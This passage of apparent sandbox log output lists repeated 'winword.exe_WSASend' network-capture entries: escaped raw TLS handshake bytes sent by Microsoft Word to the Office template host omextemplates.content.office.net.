  456. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0b\\xd2\\x97)n\\x95i\\x8c\\xa73\\x04b.\\xc9\\xed\\x17\\x08v\\xebr\\x83y\\xbao\\xc1\\x90l\\xc3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  457.  
  458.  
  459. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xb1!\\xc6i\\x17\\xa3b\\xca\\xdbp\\x92<\\x05\\x1b\\x03x\\xcf\\xe8bd~f\\x1d\\xe9s\\x04\\xdcj\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  460.  
  461.  
  462. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1bl\\x9c\\x1e\\xfa'*\\x1d\\x1c\\x88\\xcb\\xf4\\xaf\\xd4\\xc8\\xd6f_\\x18wb\\xf6\\x17$\\xf7\\x0f\\xd8\\x0f\\xfe\\xc5\\xb1\\xc8\\xd7\\x97\\x8ai\\\\xde\\x9b\\x1b.\\xa1\\xfa\\x94\\xd1\\xa1w\\xddj\\x17\\x85l\\x8b\\x89\\xe0w+\\xab\\xd5)\\x03\\xa5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd6\\xcf\\x9fii \\xf5\\x8bq\\xd6\\x94e\\x0f\\xf6\\'\\x0c\\xae(j\\xf6\\xf3\\xba\\xed\\xf8\\x18m\\x12#\\xabut\\xf8i-_\\xa8l\t_h'\\xd3i\\x18s\\x1f"
  463.  
  464.  
  465. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04~x\\x12vk\\xe9\\x0f\\x11wg\\xe6\\xef\\xdb\\xedtk\\xd5\\xe7%+\\xbd%\\x0f\\x1ch+p\\x94+t\\x10u-\\xc5'\\xe4\\xc7=\\xba\\x85\\xe0m\\xd8\\x94\\xf4\\xf4i\\x8a\\xce\\x9a\\x16~\\xb8\\xc9)\\xdb\\xf7\\xce\\xa1\\xe1\\xed.`n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:y\\xf4\\x17\\xfc\\xe4\\xb1\\xd0\\xa8\\x80\\xff\\xc2t>dm\\x95h(\\xb1\\xec\\xe1z\\xf5 $\\x04\\x1bt\\xb9!_\\x922\\x1b\\xf8\\xc4\\x8bvg\\xda\\x0f\\xd8\\x92\\x82j\\xb6"
  466.  
  467.  
  468. "http_request": "winword.exe_WSASend_\\x1a\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x90\\xc7\\x02d\\x15e\\x138\\xc2 \\xb1\\x92v\\x89\\x8c\\x13\\xc0\\x1f\\x05\\xf3z\\x03\\xd8hf\\xf1\\x0fo+\\xf0\\xb5\\xb5\\xb2\\xef/\\xdd\\x08\\xe8\n\\x10\\xc2\\x04#?kw#i)\\xffg\\x91\\xfct\\xd7x;\\x8f&g\\x85\\xdd\\xca\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf66y)/$\\xf3\\xfb\\x01\\xf5\\xa5\\x18\\x93\\xdcj0\\xd0\\xea\\x11q\\xba\\x8f\\xa4\\x9d5\\xd4``\\xd9k(\\xca3u\\x0b\\x86\\xd6\t\\xea\\xb9az\\x91\\xdf\\xd1\\x13\\xc37"
  469.  
  470.  
  471. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xed\\x82s\\x7f\\xb3\\x060\\x15\\xea\\xd0:\\x97\\xe0d\\xa8\\x93\\xc0i\\xbd\\xc4\\x81,p\\xf5\\xd7\\x82u\\x02\\xe1c\\xaak\\xe7\\x01\t\\xbbd\\x91\\x15r\\x99\\xbf\\x95\\xe3q\\x95\\xfa\\xaa\\x9b\\xaa^\\xdc\\x1f\\xa0\\xb9\\x81\\x91j$\\x908r\\xbc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a\\xf7\\xebf\\x13bm\\xf3=v&h!\\x10\\xff3b>h\\xce\\x89y\\x1ag~\\x98p\\x0b\\xe4\\x1f\\x16\\x05_c\\x8d\\xc7q\\xcff\\xda\\xe0\\xd3\\xeaf\\xd4s\\x16\\xa9"
  472.  
  473.  
  474. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04$ke0\\x19\\x0e85\\xc6j\\x0c\\x9b!5k\\xf9c\\x91\\x93\\xc0-`\\x1d\\x8b_\\xf4\\x14\\x98\\xb8\\xd3\\x8c\\x85\\x95\"6q\\xfd?\\x95\\x9a\\x97\\xfa\\x01\\x00\\x03\\xb6 \\x14jyrd\t\\xd7\\xe0z%\\xd0r\n\\xb9\\xd6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x94\\xbd5\\xe8\\x1ea\\x04t\\xec\\xeay\\x12\\xf7\\xda\\x89_\\xabjj\\xda\\x82\\xa8\\xa4hz\\x0e\\x9c\\xa7g(\\xea;n\\x05\\xb1\\xb3\\xde\\xe86^\\xba\\xb5\\x99\\x08\\xa0\\xa9"
  475.  
  476.  
  477. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04s\\xb0m,z~\ta\\xa9\\x11\\xa6\\xa4\\xb7\\x13\\x96\\xf3\\xfexz\\x9f\\xb4>\\x86f\\x8f(\\xca\\xba\\x86b5k\\x0f\\xbezk\\xf1\\xd4\\xc3\\\\x1d\\x81\\x86\\xac\\x80\\xac\\xfb\\x83\\x1fw\\xcfl\\xf2\\xbb\\xca\\xf5\\x80\\xd1\\xfdqu\\xa8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa3\\x9d\\xc6\\x13\\x9d\\x06\\x96\\xad\\xb2\r\\xf3\\x04\\x98\\x9f\\x1c(\\xd4\\x9c\\x00\\x8c\\x88xw\\xd2m\\xd6-\\xf9\\x94\\xc3u\\xda\\x9c\\xa4\\x9dd\\x8e\\x00\\xb6v5\\xb9\\xe3<\\xe10\\xca\\xa8"
  478.  
  479.  
  480. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x15\\x99\\x1f\\xfa\\xe4;zu\\xeb\\xf6^\\x17\\x92\\x91\\xdfs\n(\\xc8-\\x98t\\xdf\\xaf\\xa4.\\xb1\\x97\\xaf\\xact\\xc8\\x9a\\xc3\\xaf_/\\xe2\\xa5^\\x9f\\xafs\\x12\\xfai\\xa0\\x96\\x12\\xbe\\xd4g\\xe7\\xdc\\x05\\x93\\x15\\xe21\\x1a<u\\xbe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0003;3\\xdd\\xc4\\x96\\xccnm\\x8a\\xd1\\xb0\\xc2\\x96\\x06\\xbay\\xb35x\\xa7t\t\\xdc\\xe0b\\xb0\\xea\\x12<\\x92\\xed,w\\xe6\\xf2\\xa1nq\\xaa\\xa0\\xb3\\x976\\xef\\x8dc\\xef"
  481.  
  482.  
  483. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4wh\\xe5\\xab\\x12\\xeb\\x8dvz\\xd9\\xf7\\xcf\\xb9m_\\xa9\\xdf\\xb299\\xb1\\xf5\\x16q\\x00(\\x0c7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  484.  
  485.  
  486. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9c\\xcepcp\\xec\\xc3\\x19\\xf9~\\xc2\\x06\\x8d(p\\x13\\xec\\xb3r\\xb8,h\n\\x9b\\xff\\xee\\x9f\\xdc\\xa2n7\\xf2\\xbc!6g\\xb2\\xee\\x02\\x89\\xf7\\xb0\\xde\t\\x96\\xd6\\xa4\\xe2\\x8aju\\xdd\n\\xb6\\xa1\\xd7\\xfbxt\\xac\\xb5\\x10h\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000`\\xef\\x1a,e\\xf0s\\xcb\\x7f\\xd3\\x17p\\xbd\\xd6y\\xaf d9o\\x8c/\\xc2\\x97+u^n\\xaa\\x12\\xb3\\x92n\\xa3\\xf89\\xbd\\xa3\\xc8\\xc3@\\x83*\\x0f\\xfe1\\xa6\\x1d"
  487.  
  488.  
  489. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x84\\xd2\\x05z\\x90a\\xbf#k\\x04\\xd3c\\xdf\\x96\\xcf\\x9dyo\\x02\\xfe^\\x90\\x93d\\xbe\\xb2\\xdb\\x81\\xd3:\\xd0&\\x83\\x8d\\x86\\x94u\\x17m\\x02l*\\xa7d-\\x82d\\xb6\\xd8*l\\xdbc\\xec\\xeaz\\xb0\\xec\\\\x7f\\xa5\n9z\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd0\\x06\\xc4n\\xa3\\xe9\\x9b\n\\xeam\\x03\t\\xa1\\xc5\\x17<\\x1e)\\x93\\xac\\x9c\\xb9\\xdb\\xb8\\xe7id\\xeb;\\xd5m\\x95'\\xa5\\xc5\\x17>\\x98f\\xea\\\\\\xc4\\x03\\x05v\\xc7|"
  490.  
  491.  
  492. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdc\\xb1\\x9d\\x1d\\x05\\x91/\\xe3\\xa2^\\xf1\\xf5\\x05\\xa5dh\\x19y\\xe4b.\\x12\\xb2\\xf5\\x9a\\xec\\x08\\x8d\\xbc`\\xcb\\xc3j\\xbe\\xf3+\\xb8\\xa9w\\x9b\\xe3\t\\xd0\\xc1w4s\\xbc\\xbe8i|\\x83\\x80\\xd5\\xb6\\xadg\\xae\\xc8yy\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000)\\x9e\\x18\\x12i\\xdd\\xf5j\\x18\\x8e\\xfb\\xcc\"\\xf2\\x8e\\xec\\x1b>\\xcf\\xc8\\xcf\\xbcr\\x9f`\\xf9\\xbeo\\xeb\\xe1\\xfe\\x83\\xf8)\\x05q\\x01\\x8d\\x06\\xb1`\\x89\\xe5\\x0bs/^\\"
  493.  
  494.  
  495. "http_request": "winword.exe_WSASend_\\x1a\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb1\\xd1\\xa00\\xd8\\xd0b\\xc3\\x93\\xd2\\x0f\\xc9\\xf0\\xfa\\\\x1d1\\xabw\\xe5\\xbcwn5w\\x9b\\xa1\\xde\\x16\\x13d\\xd6\\x0c\\x10\\xc5\\xc0\\xf1\\xf2\\xc2\\x80\\x13\\xe6\\x85\\xf5\\x863\\xe1\\x97s\\xd0\\xef\\x17\\xa7\\\\x07.\\xfb\\x8d\\x818oh\\x7f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\xc5\\x8d\\xfc\\xfd\\xfa\\xb9\\xf2k \\x0f\\xc6\\xb1/o\\xa7\\x1e\\xcb\\x88\\x06\\xe5\\xd3\\x9bj\\xc3v\\xaap<\\x90\\xd8h\\xe3\\xff\\x94u\\xf6\\xf4t\\xde\\x8a\t\\xcd\\x80\\x9bt\\xbe\\xce"
  496.  
  497.  
  498. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x11\\xb26n\\x83\\xcf\\x0c\\x90c\\x89'\\x93\\xd0\\xa7^_\\x077w\\x85\\x16kn\\xb7d\\x0fr\\xb8\\x88s.\\xd9\\xa3\\xef\\x8e\\xac\\xa25\\xaf\\xc3\"\\xdc\\xb0p\\x80\\xd7\\xdc\\xe2\\x8fn\\xad\\x02\\xd8\\xd8\\xb9\\xdaiv\\x03\\x06\\x0fk\\xcf\\x97\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0009 \\x83\\x03\\x14\\x01\\x9e)\\x8e\\xe7\\xc2n9\\x92\\x1f\\x81\\xd7\\xb20\\xf7\\xb2n\\x98\\xb1b\\xd43)\\xd9\\xb9\\xb3\\x1c\\xf92,\\xb9y\\x92\\x19\\xdc\\x96\\xad\\xfb\\x89\\xb8dt\\xa5"
  499.  
  500.  
  501. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04dw\\xc7;\\x08\\xdebl\\xc0\\xc4\\x8b\\x16\\x1c\\xe1^\\xce&\\xbc\\xa2\\xf7\\xe2o\\xeb\\xbe\\x97\\xdd&s\\xcfo;\\x1da\\xaf|\\x8e_\\xca\\x82\\x99\\xc5)\\x04h\\xf99e\\xe5=z\\xf3\\xdb7\\xa9\\xc3t*\\xb9\\xcd\\xc1a\n\\xb8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc4\\x02\\xbf~\\xf6\\xe5~\\xc2z\\xd0\rvgc\\xd5\\x95\\xd7\\xd4\\xdb\\xc2\\x1fks\\x87\\xae\\x03v\\xe6@j;\\xbfv\\xd76sf\\xab\\xdb\\xca\\xf5\\xfa>\\x9a\\xc8\\xd8\\xff"
  502.  
  503.  
  504. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04l\\x13p\\xd2hit,1\\xc2\\xa9\\x16\t7\r\\x8b\\xbd\\xe5\\xbfxb\\x83\\xbc\\x12o\\xdcb\\xe5\\xe5\\xd8\\xc1\\x16\\xfde\\x97\\x82\\xb5\\xad`-\\xf3v|wc\\xac\\xb8\\xaf\\xe6\\xd0\\x0c\\x8be\\xc7\\xee\\x84?d\\x153\\x1d\\xef\\xbf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb6\\xbc\\x88\\xe1\\x8e?\\xe9\\x97&<s.\\xf8\\xc2\\xc1\\xe3?\\x11 :\\xba\\xbd\\xd9\\x1c\\x9a\\x99\\x89f\\xa3\\x9f\\xc0\\x8cp\\xb7\\x85\\x9e\\xf8\\x93\\x06\\x9c\\xfd\\x00xx\\xceb\\xc8x"
  505.  
  506.  
  507. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa7\\xd2q\\xce\\x96\\x88\\xffh/w\\x80h7\\x8dag\\xf1`\\xebbtto\\x12o\\xe2\\xb6b\\xe0h\\xb6\\xe14\\x99\\x950\\xdd\\xff\\xe8\\xb0\\x04x\\xd1\\xa1b\\x93\\xdd\\xdd\\xd7\\x12!5\\x8e\\x14\\xf9'\\x88\\xdaga\\xceeq,\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd8\\x88\\xc4\\xf3\\x10\\x9b\\x8e\\xd5\\xc1:\\x04p \\xd2u\\xb6\\xee\\xa5\\xd5\\xe8\\xe6\\xcai\\xe1&\\xd1k\\xd2\\\\xc7\\xab\\xd9o\\xa9e\\xc7\\xdf\\x881\\x97\\x05\\xfa\\x97\\xbc\\xbb\\xb7\\xc4l"
  508.  
  509.  
  510. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\r`\\x92\\xaa\\xee\\xb6\\xb4\\x89\\xe4<\t\"l\\xf2\\xbc\\x1d\\xfe\\xc5\\xe3\\x07_\\xfe\\xe5a\\x07\\xf0\\x1ad\\xbc^|\\xb5k\\xd0\\x117\\x07>q\\xeb\\x06\\xd2:\\xa2\\xff\\x06.l\\xcezl\\x00\\x00\\xb7\\x84\r\\x7f5\\xbf>\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000r\\x02\\x0b-\\xfb\\xfe\\xc7\\xdf\\xe5\\xc3\\xcb\\xa6by\\xe5\\xe8\\x1f\\xd9\\x8bj\\xf5\\xb0\\x80a\\xe9s9\n^\\x92\\x18\\x91|\\xe0\\xd7\\x10\\x14\\x17t#\\x8d\\xe2\\xb0\\x1a\\xca"
  511.  
  512.  
  513. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe6\\x8fyr\\xac\\xc1qgr\\xe1\\xf6\\x01h\\xd4u\\xfe\\xcf\\x1f\\x1f\\xbe&w\\xd0k\\xd8g\\x9e\\x9a-\\xd6$\\xd9\\xe6ac'x\\xf7m\\xe5/)m_v\\xf7/\\xae\\xdb'\\x13e\\xb2\\xb3\\xb8^\\xba\\xe5\\xfdv\\xed\\xe3u\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000_d5\\xc5itd\\x90\\x19-\\xe1\\xfb\\xd9\\xd4t\\xb2o\\xe7\\x93)\\xf7\\xe62\\xb2q\\xfe\\xa4d\\xecs\\x13\\x87\\xf5\\xd3\\xc3\\x17h\\xac\\x05 m<6<\\x9c>"
  514.  
  515.  
  516. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xac\\xa3\\x8a\\xb3\\xfda;\\x805:\\x0c\\xc1+\\xe5\\xac\\x8a\\xff8\\xa2\\xc0=e\\xbe\\xe1vs\\x84\\x7f\\xc8v\\xb0a\\xda\\x88\\xc3\\xbd\\x92\\xca\\xa9v.p@\\x8b\\x93\\x05\\xf2\\x11\\xcc\t\\x9c_\\x186<\\x9b\\xf9\\x86\\xe8u\\xd3\\xbe\\xae%\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcb\\xe9\\xef5\\x0f\\xf7\\xe3g!\\xe0>\\xebt\\xfc\\x91\\xeas\\\\xa1\\xcbb\\x16\\xd8v\\xfa\\xa6\\xd1\\x967\\xd3^\\xf1\\xdd\"+\\x0b\\xb8\\x8f\\x99vl\\x04\\xday@\\x06v\\xa5"
  517.  
  518.  
  519. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa5\\x13>k\\xf7\\x01#o\\x83\\x95\"5\\x0ct\\x14\\x1ed\\xa7w5\\xb5|\\x1e,|\\xc8\\xbax\\x9e\\x8e\\xfa\\x7f\\x0b\\xd5\\xea\\xf4`\\xa5\\xf1.\\xbd_\\x86\\xfb=tu\\xe7\\xc3\\xfd\\xe9fb\\xbek\\x0c2\\xff\\xaf4yiu\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000h\\xfa\\xcf\\xa6\\x01b\\xa1%\\xc9\\xfal\\x1by\\x0b\\xcb\\xcfi\\xac\\xfc\\xab~h\\x98!/5\\x15\\xb0cu\\x97\\xef\\xe5\\xce\\x13\\xc6\\x1b\\x8d\\x90\\xd1\\xa9\\xcbh\\x1e\\xa2\\xd1\\xb6)"
  520.  
  521.  
  522. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04l6\\x8d4\\x11\\x86\\x1e\\x9c`\\x1f\\xd3\\xa0\\xff\\xf3\\xf8\\xa6\\x9c\\x9b\\x8fn\\xfbz\\xea\\xd1\\\\x96\\xea\\xeb\\xc6\\xdc\\xd6t\\x1f-\\xd0u\\xb4\\xb6!z\\xb6:lv\\x9d@\\xf7\\xd2\\xa7l&\\xf9@\\xd8\\x8c\\x87o\\x90\\x00m\\xe6^\\x8d\\xe0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x03\\xd4x\\xb3h\\xfe0f\\x18\\xc4\\x91\\x91p\\xc1y\\xba\\x1f\\x10|^\\xb7\\)\\xe2z4\\xff8f!c\\xfd\\x14\\x8a\\xe7\\x97\\xdcy\\x88\\x86\\x0e\\x81\\xe4\\xbf'\\x80"
  523.  
  524.  
  525. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\x9e\\xe6z'\\xa5\\x98\\xf5\\x08\\x86\\x92\\x95\\xb0\\x92\\xc7\\xd2\\x93?\\xe5(\\x06n\\x9fahi\t\\xbc\\x06\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  526.  
  527.  
  528. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\xbfk\\xafg\\xeb\\xef*\\x03g\\x8c\\x86\\x00\\x04\\xc3\\x1dr\n\\x90\\xea#\\x96 $\\x07\\x16\\x1d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  529.  
  530.  
  531. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\xa1\\xbdd\\xb4`\\xc7\\x8anl \\xd7\\xd18\\xeb2\\x85\\xbc3z\\xbe\\xa2\\xc5(\\x9e9\\xee\\x92\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  532.  
  533.  
  534. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\x0b\n\\x18\\xe9\\x84 !bd\\x0e\\x8e\\x86\\x14\\x01\\x7f\\x87q\\xa6\\xc9r\\xcbg\\xaa\\x9f\\xd8\\xea'\\xc1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  535.  
  536.  
  537. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\xbe\\xf8\\xc9\\x1c\\xa6ic\\x0e\\xf9\\x7f\\x887f\\x99l\\x93\\xfe\\xcf\\xb7.)v\\x18%\\xb2\\xe2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  538.  
  539.  
  540. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4dv\\xe8\\x92\\xac\\x1d\\xddkj7\\xf0-\\xb5\\xe7\\x14\\xb9%es\\x10\\x80\\xbf\\xf0\\x90\\x93\\xf6\\xda\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  541.  
  542.  
  543. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\xb8\\xe2\\x87\\x99\\xbf:\\xd1\\x03/\\xaf\\xfb\\x94\\x00\\xd3l\\x1d\\xa8\\xdf\\x8c\\xf1\\x9c!z\\xc2g\\x8e#\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  544.  
  545.  
  546. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\x97\\xd9\r\\xd8p\\xed\\xe8a\\xc8\\x8a\\xdb\\x87\\xbf\\xe09v\\xb0\\xa1et\\xed!b$\\xb7\\xffo\\xb3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  547.  
  548.  
  549. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc4\\xbb\\xafeg\\x1e_w\\xe5\\xd7\\xbf\\xc1\\x12*\\xd2\\x15i\\x03\\x90\\x1f\\x19u\\x9d\\xbf\\x00m\\xf1\\xb1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  550.  
  551.  
  552. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04d\\x00e\\xce1_\\xf2\\xabg\\xebt\\xc8\\xeb\\xcf\\xca88\\\\x1d\\x13\\x85~\\x87\\x81>\\xac\\xec\\x1a\\x9fz\\xdd\\xf5\\xc2\\x87\txqix)!d\\xd05\\x1c\\xbe%\\x1c\\xc4\\xf5\\x02l\\xcd\n\\~^\"\\xa2\\xde~\\x88*\\xed\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4k\\xc0'\\xcd\\xa6#\\xd6\\x17k\\x08%$cof\\x1f\\xc7zw\\x89a\\xbf\\xb2or\\x95\\x11\\x19\\x17\r<:\\x83\\xcc\\xa5\\xc1\\x85\\xcfi\\x976\\x88\\xff\\xd7`\\xb4\\x00"
  553.  
  554.  
